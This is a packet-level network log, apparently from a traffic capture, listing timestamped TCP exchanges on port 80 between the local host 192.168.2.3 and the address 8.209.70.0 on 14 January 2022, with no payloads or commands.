Jan 14, 2022 20:24:02.652837992 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.652848959 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.652857065 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.652875900 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.652885914 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.652894974 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.652913094 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.652928114 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.652930975 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.652944088 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.652955055 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.652970076 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.652987957 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.652997971 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.653006077 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.653023958 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.653037071 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.653043032 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.653063059 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.653070927 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.653080940 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.653098106 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.653105974 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.653115988 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.653134108 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.653142929 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.653151989 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.653171062 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.653179884 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.653188944 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.653209925 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.653218985 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.653228998 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.653245926 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.653256893 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.653264046 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.653285027 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.653294086 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.653302908 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.653321028 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.653331041 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.653341055 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.653358936 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.653367043 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.653377056 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.653393030 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.653403997 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.653412104 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.653429985 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.653444052 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.653449059 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.653459072 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.653466940 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.653485060 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.653496981 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.653505087 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.653522968 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.653532028 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.653539896 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.653558969 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.653568029 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.653578043 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.653595924 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.653605938 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.653614998 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.653625011 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.653640032 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.653656006 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.653672934 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.653682947 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.653692007 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.653709888 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.653723001 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.653728962 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.653744936 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.653764009 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.653773069 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.653783083 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.653793097 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.653800964 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.653819084 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.653831005 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.653837919 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.653878927 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.653879881 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.653898001 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.653911114 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.653920889 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.653930902 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.653950930 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.653968096 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.653980017 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.653980970 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.653989077 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.653999090 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.654011965 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.654022932 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.654028893 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.654045105 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.654053926 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.654062033 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.654077053 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.654083014 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.654098988 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.654103041 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.654117107 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.654129982 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.654134989 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.654153109 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.654170990 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.654175043 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.654187918 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.654206991 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.654208899 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.654225111 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.654233932 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.654243946 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.654262066 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.654264927 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.654279947 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.654294968 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.654297113 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.654315948 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.654333115 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.654340982 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.654350996 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.654369116 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.654372931 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.654386997 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.654403925 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.654408932 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.654422045 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.654438019 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.654449940 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.654455900 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.654467106 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.654474974 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.654494047 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.654500008 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.654512882 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.654525995 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.654530048 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.654547930 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.654565096 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.654582977 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.654586077 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.654601097 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.654609919 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.654634953 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.654676914 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.654697895 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.671983957 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.672025919 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.672043085 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.672060013 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.672075987 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.672092915 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.672108889 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.672111034 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.672127008 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.672143936 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.672159910 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.672177076 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.672193050 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.672195911 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.672204018 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.672214031 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.672231913 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.672241926 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.672250032 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.672267914 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.672270060 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.672286034 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.672302008 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.672318935 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.672336102 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.672354937 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.672373056 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.672389030 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.672389030 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.672405005 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.672422886 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.672440052 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.672457933 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.672461033 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.672475100 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.672492981 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.672501087 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.672507048 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.672523975 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.672532082 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.672540903 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.672559023 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.672576904 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.672581911 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.672595024 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.672610998 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.672616005 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.672630072 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.672638893 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.672646999 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.672663927 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.672674894 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.672681093 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.672698975 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.672707081 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.672715902 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.672734976 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.672751904 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.672760010 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.672769070 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.672785044 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.672794104 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.672802925 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.672817945 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.672821045 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.672838926 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.672853947 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.672854900 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.672873974 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.672890902 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.672894001 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.672907114 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.672916889 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.672924995 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.672941923 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.672950029 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.672960043 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.672976017 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.672985077 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.672995090 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.673012972 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.673031092 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.673043013 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.673048973 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.673067093 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.673074961 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.673084021 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.673099041 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.673100948 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.673119068 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.673134089 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.673139095 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.673156977 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.673167944 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.673172951 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.673192024 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.673192978 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.673208952 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.673224926 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.673243046 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.673244953 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.673259974 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.673276901 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.673284054 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.673294067 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.673306942 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.673310995 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.673326969 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.673342943 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.673343897 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.673362017 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.673377037 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.673378944 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.673396111 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.673405886 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.673413992 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.673432112 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.673448086 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.673455954 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.673465014 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.673482895 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.673494101 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.673499107 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.673516035 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.673520088 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.673532963 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.673542023 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.673552036 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.673571110 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.673577070 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.673588037 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.673604012 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.673618078 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.673620939 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.673638105 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.673644066 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.673656940 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.673674107 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.673690081 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.673691034 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.673708916 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.673718929 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.673727036 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.673746109 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.673754930 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.673763037 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.673779011 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.673795938 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.673809052 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.673813105 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.673830986 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.673842907 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.673849106 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.673865080 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.673888922 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.675510883 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.691102028 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.691127062 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.691143036 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.691162109 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.691251993 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.691473007 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.708790064 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:03.977205038 CET	49900	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:03.994774103 CET	80	49900	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:03.994879961 CET	49900	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:03.994998932 CET	49900	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:03.995814085 CET	49900	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.013953924 CET	80	49900	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.013978958 CET	80	49900	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.117952108 CET	80	49900	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.118069887 CET	49900	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.118278027 CET	49900	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.136338949 CET	80	49900	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.150592089 CET	49902	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.170007944 CET	80	49902	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.170116901 CET	49902	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.170298100 CET	49902	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.170312881 CET	49902	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.190407991 CET	80	49902	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.289264917 CET	80	49902	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.289338112 CET	49902	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.289511919 CET	49902	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.309526920 CET	80	49902	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.334057093 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.352420092 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.352550983 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.352730989 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.412897110 CET	80	49903	8.209.70.0	192.168.2.3
